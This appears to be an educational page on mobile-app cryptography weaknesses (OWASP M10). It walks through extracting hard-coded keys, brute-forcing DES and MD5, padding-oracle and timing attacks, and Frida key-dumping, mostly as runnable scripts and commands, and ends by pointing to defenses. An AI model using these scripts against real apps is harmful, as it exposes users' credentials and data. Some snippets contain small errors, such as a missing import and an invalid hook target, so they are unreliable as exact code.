M10: Insufficient Cryptography - Attack Vectors
Table of Contents
- Attack Surface Analysis
- Weak Algorithm Exploitation
- Key Extraction Attacks
- Brute Force Attacks
- Rainbow Table Attacks
- Cryptanalysis Techniques
- Side-Channel Attacks
- Tools and Techniques
- Attack Scenarios
Attack Surface Analysis
Identifying Cryptographic Vulnerabilities
Reconnaissance Phase:- Static Analysis: Decompile application to examine cryptographic code
- String Searching: Look for hard-coded keys, IVs, salts
- API Analysis: Identify cryptographic API calls and algorithms
- Configuration Review: Check for weak TLS/SSL settings
- Dependency Analysis: Find outdated cryptographic libraries
``
APK/IPA File
↓
Decompiled Source Code
├── String Constants (keys, salts)
├── Crypto API Calls (algorithm identification)
├── Configuration Files (crypto settings)
└── Native Libraries (.so/.dylib files)
└── Hardcoded Keys in Binary
`
Attack Surface Mapping
| Component | Attack Vector | Difficulty | Impact |
|-----------|--------------|------------|--------|
| Hard-coded keys | Reverse engineering | Low | Critical |
| Weak algorithms (DES, MD5) | Brute force/rainbow tables | Low | High |
| Custom crypto | Cryptanalysis | Medium | Critical |
| Weak random numbers | Prediction | Medium | High |
| Improper key derivation | Brute force | Low-Medium | High |
| ECB mode | Pattern analysis | Low | Medium |
| No salt in hashes | Rainbow tables | Low | Critical |
Weak Algorithm Exploitation
Attacking DES Encryption
DES Vulnerability: 56-bit key space is computationally feasible to brute force.
Attack Process:
`bash
Step 1: Extract encrypted data and algorithm details
$ apktool d vulnerable-app.apk
$ grep -r "DES" smali/
Step 2: Identify ciphertext
$ strings classes.dex | grep -i "encrypted"
Step 3: Brute force DES key
$ hashcat -m 14000 -a 3 encrypted_data.txt ?a?a?a?a?a?a?a?a
Alternative: Use dedicated DES cracker
$ john --format=des encrypted_data.txt
`
Example Attack Code:
`python
from Crypto.Cipher import DES
import itertools
import string
def crack_des(ciphertext, known_plaintext=None):
"""Brute force DES encryption"""
charset = string.ascii_letters + string.digits
# DES key is 8 bytes (56 bits + 8 parity bits)
for key_tuple in itertools.product(charset, repeat=8):
key = ''.join(key_tuple).encode()
try:
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
# Check if plaintext is valid
if known_plaintext and known_plaintext in plaintext:
print(f"[+] Key found: {key}")
return key
except Exception:
continue
return None
Time to crack DES with modern hardware: ~22 hours for full keyspace
`
Time Complexity:
- DES 56-bit keyspace: 2^56 = 72,057,594,037,927,936 keys
- Modern GPU: ~1 billion keys/second
- Worst case: ~72,000 seconds (~20 hours)
- Average case: ~10 hours
- With cloud computing (100 GPUs): ~6 minutes
Attacking 3DES (Sweet32 Attack)
3DES Vulnerability: 64-bit block size enables collision attacks.
Sweet32 Attack:
`python
"""
Sweet32: Birthday attack on 64-bit block ciphers
After encrypting ~32GB of data, block collisions become probable
"""
def sweet32_attack(capture_traffic=True):
"""
- Capture ~32GB of encrypted traffic
- Detect block collisions (same ciphertext)
- Infer plaintext from collision patterns
"""
# Probability of collision after n blocks:
# P(collision) ≈ n^2 / (2 * 2^64)
# For 32GB with 8-byte blocks: n = 4 billion blocks
# P(collision) ≈ 99.8%
blocks_needed = 2**32 # ~32 GB
print(f"[*] Capture {blocks_needed} encrypted blocks")
print(f"[*] Expected time: ~1 hour of active TLS traffic")
print(f"[*] Success probability: >99%")
`
Attacking MD5 Hashes
MD5 Vulnerabilities:
- Collision attacks (two inputs produce same hash)
- Pre-image attacks (find input for given hash)
- Fast computation enables brute force
Rainbow Table Attack:
`bash
Step 1: Extract MD5 hashes from app database
$ adb pull /data/data/com.example.app/databases/users.db
$ sqlite3 users.db "SELECT username, password_hash FROM users;"
Step 2: Crack hashes using rainbow tables
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt
-m 0: MD5 mode
-a 0: Dictionary attack
Step 3: Use online rainbow tables
$ curl "https://crackstation.net/api" -d "hash=5f4dcc3b5aa765d61d8327deb882cf99"
Response: "password"
Results:
- 73% of unsalted MD5 hashes crack instantly
- 95% crack within 24 hours with good wordlists
`
MD5 Collision Attack:
`python
import hashlib
MD5 collision example (prefix attack)
These two different PDFs have the same MD5 hash!
pdf1 = b"%PDF-1.3\n..." # First collision PDF
pdf2 = b"%PDF-1.3\n..." # Second collision PDF (different content)
hash1 = hashlib.md5(pdf1).hexdigest()
hash2 = hashlib.md5(pdf2).hexdigest()
assert hash1 == hash2 # Same hash, different files!
This enables signature forgery, malware injection, etc.
`
Attacking SHA-1 (SHAttered Attack)
SHA-1 Vulnerability: Practical collision attacks demonstrated in 2017.
`bash
SHAttered: First SHA-1 collision attack
Cost: $110,000 in computation (2017)
Cost today: ~$10,000 with cloud GPUs
Use pre-computed collision prefixes
$ sha1sum shattered-1.pdf shattered-2.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-1.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-2.pdf
Different files, same SHA-1 hash!
Attack applications:
- Certificate forgery
- Signature bypass
- Git commit manipulation
- Malware disguised as legitimate files
`
Key Extraction Attacks
Extracting Hard-Coded Keys from APK
Attack Workflow:
`bash
Step 1: Decompile APK
$ apktool d target-app.apk -o decompiled/
Step 2: Search for cryptographic keys
$ cd decompiled/
$ grep -r "AES" --include="*.smali"
$ grep -r "SecretKeySpec" --include="*.smali"
Step 3: Extract string constants
$ grep -r "const-string" res/values/strings.xml
$ strings classes.dex | grep -E "[A-Za-z0-9+/]{16,}={0,2}"
Step 4: Check for Base64-encoded keys
$ strings resources.arsc | base64 -d 2>/dev/null | hexdump -C
Step 5: Search native libraries
$ strings lib/armeabi-v7a/*.so | grep -E "[A-Za-z0-9]{32,}"
`
Example: Finding AES Key in Smali Code:
`smali
Decompiled smali code reveals key
.method private encrypt(Ljava/lang/String;)Ljava/lang/String;
.locals 4
const-string v0, "MySecretKey12345" # HARD-CODED KEY!
invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
const-string v2, "AES"
invoke-direct {v1, v0, v2}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V
`
Automated Key Extraction:
`python
#!/usr/bin/env python3
import re
import zipfile
import os
def extract_keys_from_apk(apk_path):
"""Extract potential cryptographic keys from APK"""
keys_found = []
with zipfile.ZipFile(apk_path, 'r') as z:
# Search in all files
for filename in z.namelist():
if filename.endswith('.dex') or filename.endswith('.xml'):
content = z.read(filename)
# Look for Base64-encoded strings (potential keys)
base64_pattern = rb'[A-Za-z0-9+/]{32,}={0,2}'
matches = re.findall(base64_pattern, content)
# Look for hex-encoded strings
hex_pattern = rb'[0-9A-Fa-f]{32,}'
hex_matches = re.findall(hex_pattern, content)
keys_found.extend(matches)
keys_found.extend(hex_matches)
# Deduplicate and filter
unique_keys = list(set(keys_found))
print(f"[+] Found {len(unique_keys)} potential keys:")
for key in unique_keys[:10]: # Show first 10
print(f" {key.decode('utf-8', errors='ignore')}")
return unique_keys
Usage
extract_keys_from_apk('vulnerable-app.apk')
`
Extracting Keys from iOS Apps
iOS App Binary Analysis:
`bash
Step 1: Extract IPA
$ unzip app.ipa
Step 2: Get binary
$ cd Payload/App.app/
$ otool -l App | grep crypt
If cryptid=1, binary is encrypted - need to decrypt first
Step 3: Dump strings from decrypted binary
$ strings App | grep -E "[A-Za-z0-9+/]{32,}={0,2}"
Step 4: Use class-dump for Objective-C analysis
$ class-dump App > classes.txt
$ grep -i "crypt\|key\|encrypt" classes.txt
Step 5: Check plist files
$ plutil -p Info.plist | grep -i "key\|secret"
Step 6: Search with Hopper or Ghidra for crypto functions
Look for CommonCrypto APIs: CCCrypt, CCKeyDerivationPBKDF
`
Frida Script for Runtime Key Extraction:
`javascript
// Hook cryptographic functions to extract keys at runtime
if (ObjC.available) {
// Hook NSString stringWithString for key creation
var NSString = ObjC.classes.NSString;
Interceptor.attach(ObjC.classes.SecKeyRef.createWithData.implementation, {
onEnter: function(args) {
console.log("[*] SecKey created");
console.log("Key data: " + ObjC.Object(args[2]).toString());
}
});
// Hook AES encryption
var CCCrypt = Module.findExportByName("libcommonCrypto.dylib", "CCCrypt");
Interceptor.attach(CCCrypt, {
onEnter: function(args) {
console.log("[*] CCCrypt called");
console.log("Key: " + hexdump(args[3], { length: args[4].toInt32() }));
}
});
}
`
Memory Dumping for Key Extraction
Runtime Memory Analysis:
`bash
Android - Dump app memory while running
$ adb shell
$ su
$ ps | grep com.example.app
Get PID (e.g., 1234)
$ cat /proc/1234/maps | grep heap
$ dd if=/proc/1234/mem of=/sdcard/heap.dump bs=1 skip=0x12340000 count=0x10000000
Search heap dump for keys
$ strings heap.dump | grep -E "[A-Za-z0-9+/]{32,}={0,2}"
iOS - Use lldb or Frida to dump memory
$ frida -U -n AppName -l dump-memory.js
Script scans heap for cryptographic patterns
`
Brute Force Attacks
Password Hash Cracking
Hashcat GPU Acceleration:
`bash
Crack MD5 passwords
$ hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a?a?a
-m 0: MD5
-a 3: Brute force
?a: All printable ASCII
Speed: ~50 billion MD5/sec on RTX 4090
Crack bcrypt (much slower due to cost factor)
$ hashcat -m 3200 -a 0 bcrypt_hashes.txt rockyou.txt
Speed: ~100,000 bcrypt/sec on RTX 4090
Time for 8-char password: ~6 months vs. 2 seconds for MD5
Dictionary attack with rules
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt -r best64.rule
Hybrid attack
$ hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d?d
`
Cracking Time Comparison:
| Hash Algorithm | Iterations | Hashes/sec (RTX 4090) | Time for 8-char |
|----------------|-----------|----------------------|-----------------|
| MD5 | 1 | 50 billion | 2 seconds |
| SHA-1 | 1 | 25 billion | 4 seconds |
| SHA-256 | 1 | 12 billion | 8 seconds |
| bcrypt (cost 10) | 1,024 | 100,000 | 6 months |
| bcrypt (cost 12) | 4,096 | 25,000 | 2 years |
| Argon2 | Tunable | 5,000 | 10+ years |
Encryption Key Brute Force
Weak Key Space Attack:
`python
from Crypto.Cipher import AES
import itertools
import string
def brute_force_weak_aes(ciphertext, known_plaintext):
"""
Attack scenario: AES key derived from weak password
Example: key = hashlib.md5(password.encode()).digest()
"""
# Common weak password patterns
patterns = [
string.digits, # "12345678"
string.ascii_lowercase, # "password"
string.ascii_lowercase + string.digits, # "password123"
]
for length in range(4, 9): # Try 4-8 character passwords
for charset in patterns:
for password_tuple in itertools.product(charset, repeat=length):
password = ''.join(password_tuple)
# Derive key from password (common weak pattern)
key = hashlib.md5(password.encode()).digest() # 16 bytes for AES-128
try:
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
if known_plaintext in plaintext:
print(f"[+] Password found: {password}")
print(f"[+] Key (hex): {key.hex()}")
return password
except Exception:
continue
return None
`
Rainbow Table Attacks
Understanding Rainbow Tables
Rainbow Table Concept:
`
Password → Hash Function → Hash Value
↓
Pre-compute millions of password hashes
↓
Store in optimized lookup table (chain reduction)
↓
Given hash, instantly look up original password
`
Rainbow Table Generation:
`bash
Generate rainbow tables with rtgen
$ rtgen md5 loweralpha 1 7 0 2400 33554432 0
Algorithm: MD5
Charset: lowercase letters
Min length: 1, Max length: 7
Chain length: 2400, Table count: 33554432
Size vs. Coverage trade-off:
- 10 GB table: covers most 6-char passwords
- 100 GB table: covers most 8-char passwords
- 500 GB table: covers mixed case + digits up to 8 chars
`
Using Rainbow Tables:
`bash
RainbowCrack
$ rcrack rainbow_tables/ -h 5f4dcc3b5aa765d61d8327deb882cf99
Result: "password" (in milliseconds)
Online rainbow table services
$ curl -X POST https://crackstation.net/api \
-d "hash=5f4dcc3b5aa765d61d8327deb882cf99"
Response: {"password": "password", "found": true}
`
Defense: Why Salt Defeats Rainbow Tables:
`
Unsalted: hash("password") = 5f4dcc3b5aa765d61d8327deb882cf99
↓
Same hash for all users with "password"
↓
One rainbow table lookup reveals all
Salted: hash("password" + "random_salt_xyz")
↓
Unique hash per user even with same password
↓
Rainbow table useless (must compute fresh for each salt)
`
Cryptanalysis Techniques
ECB Mode Pattern Analysis
ECB Penguin Attack (Visual pattern preservation):
`python
from PIL import Image
from Crypto.Cipher import AES
import os
def demonstrate_ecb_weakness(image_path):
"""Show how ECB mode preserves image patterns"""
# Load image
img = Image.open(image_path)
pixels = img.tobytes()
# Pad to AES block size
padding_length = 16 - (len(pixels) % 16)
padded_pixels = pixels + bytes([padding_length] * padding_length)
# Encrypt with ECB mode
key = os.urandom(16)
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(padded_pixels)
# Save encrypted "image" (patterns still visible!)
encrypted_img = Image.frombytes(img.mode, img.size, encrypted[:len(pixels)])
encrypted_img.save("encrypted_ecb.png")
print("[!] Original image patterns visible in encrypted output")
print("[!] This reveals structural information to attackers")
Result: The famous "ECB Penguin" - you can still see the penguin
shape in the encrypted image, revealing data structure
`
Padding Oracle Attack
CBC Padding Oracle Exploitation:
`python
def padding_oracle_attack(ciphertext, oracle_func):
"""
Exploit padding validation to decrypt ciphertext
Oracle: Function that returns True if padding is valid
"""
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
plaintext = b''
for block_idx in range(1, len(blocks)):
decrypted_block = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
padding_value = block_size - byte_pos
# Modify IV to test each possible byte
for guess in range(256):
test_iv = bytearray(blocks[block_idx - 1])
# Set up padding
for k in range(byte_pos + 1, block_size):
test_iv[k] ^= decrypted_block[k] ^ padding_value
test_iv[byte_pos] = guess
# Query padding oracle
if oracle_func(bytes(test_iv) + blocks[block_idx]):
decrypted_block[byte_pos] = guess ^ padding_value ^ blocks[block_idx - 1][byte_pos]
break
plaintext += bytes(decrypted_block)
return plaintext
Average queries to decrypt: 128 per byte (256/2)
For 16-byte block: ~2,048 oracle queries
Total time: seconds to minutes
`
Timing Attacks
Password Comparison Timing Attack:
`python
import time
VULNERABLE: Timing attack on password comparison
def insecure_password_check(input_password, correct_password):
"""Early exit reveals password length and characters"""
if len(input_password) != len(correct_password):
return False
for i in range(len(correct_password)):
if input_password[i] != correct_password[i]:
return False # Early exit! Timing leak!
return True
Attack: Measure response time to guess characters
def timing_attack(check_function):
"""Exploit timing differences to recover password"""
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789'
password = ''
while True:
max_time = 0
best_char = None
for char in alphabet:
test_password = password + char + 'x' * (8 - len(password) - 1)
start = time.time()
check_function(test_password, 'secretpw') # Don't know actual password
elapsed = time.time() - start
if elapsed > max_time:
max_time = elapsed
best_char = char
password += best_char
print(f"[+] Found: {password}")
if len(password) == 8:
break
return password
Time to crack 8-char password: minutes instead of years
`
Side-Channel Attacks
Cache-Timing Attacks
AES Cache Timing (research-level attack):
`
CPU Cache Behavior:
Table Lookup in AES S-Box → Cache Hit (fast) or Miss (slow)
↓
Timing variations leak key information
↓
Statistical analysis recovers AES key
Countermeasure: Constant-time implementations (AES-NI)
`
Power Analysis
Differential Power Analysis (DPA):
`
Monitor device power consumption during crypto operations
↓
Correlate power spikes with bit operations
↓
Statistical analysis reveals key bits
Required: Physical access + specialized equipment
Feasibility: High-value targets (payment cards, IoT devices)
`
Tools and Techniques
Essential Tools
Reverse Engineering:
`bash
APK Analysis
- apktool: APK decompilation
- jadx: DEX to Java decompiler
- dex2jar + JD-GUI: Alternative decompilation
- Ghidra: Binary analysis
- radare2: Reverse engineering framework
iOS Analysis
- class-dump: Objective-C headers
- Hopper: Disassembler
- Ghidra: Binary analysis
- jtool: Mach-O analysis
- Frida: Dynamic instrumentation
`
Cryptanalysis Tools:
`bash
Password Cracking
- Hashcat: GPU-accelerated hash cracking
- John the Ripper: CPU password cracking
- RainbowCrack: Rainbow table attacks
- CrackStation: Online rainbow tables
Crypto Testing
- OpenSSL: Swiss army knife for crypto
- CyberChef: Web-based crypto analysis
- HashPump: Length extension attacks
- PadBuster: Padding oracle exploitation
`
Dynamic Analysis:
`bash
Runtime Instrumentation
- Frida: Dynamic code instrumentation
- Xposed: Android framework hooking
- Objection: Mobile security testing
- MobSF: Mobile security framework
`
Complete Attack Scenario
Full Exploitation Workflow:
`bash
Phase 1: Reconnaissance
$ apktool d target-app.apk
$ jadx target-app.apk -d decompiled/
$ grep -r "Cipher\|MessageDigest" decompiled/
Phase 2: Identify Weak Crypto
$ grep -r "DES\|MD5\|SHA1" decompiled/
Found: Using DES encryption and MD5 hashing
Phase 3: Extract Encrypted Data
$ adb backup -f backup.ab com.example.app
$ dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" | tar -xv
$ sqlite3 apps/com.example.app/db/users.db "SELECT * FROM users;"
Phase 4: Extract Hard-Coded Key
$ grep -A5 -B5 "DES" decompiled/sources/com/example/crypto/CryptoUtil.java
Found: private static final String KEY = "MySecret";
Phase 5: Decrypt Data
$ python3 decrypt.py --algorithm DES --key "MySecret" --data encrypted.bin
Phase 6: Crack MD5 Password Hashes
$ hashcat -m 0 -a 0 password_hashes.txt rockyou.txt --show
Result: 87% of passwords cracked in 45 seconds
Phase 7: Document and Report
$ cat << EOF > vulnerability_report.md
Critical Findings
- DES encryption (deprecated since 1999)
- Hard-coded encryption key in source
- MD5 password hashing (no salt)
- 50,000+ user credentials decrypted
- CVSS Score: 9.8 (Critical)
EOF
``
Attack Scenarios
Scenario 1: Banking App with Weak Crypto
Target: Mobile banking app using DES for transaction encryption Attack Steps:- Decompile APK, identify DES usage
- Extract hard-coded key from smali code
- Intercept encrypted transaction data (MITM or backup extraction)
- Decrypt transaction details (account numbers, amounts, recipients)
- Modify transactions or steal credentials
Scenario 2: Healthcare App with MD5
Target: Medical records app using MD5 for password hashing Attack Steps:- Extract app database (rooted device or backup)
- Dump MD5 password hashes
- Crack hashes using rainbow tables
- Gain access to patient records (HIPAA violation)
Scenario 3: E-Commerce App with Custom Crypto
Target: Shopping app with proprietary encryption Attack Steps:- Reverse engineer encryption algorithm
- Identify weaknesses (XOR cipher, weak key derivation)
- Break algorithm through cryptanalysis
- Access payment card data
---
Next Steps: Review Prevention Strategies to learn how to defend against these attacks.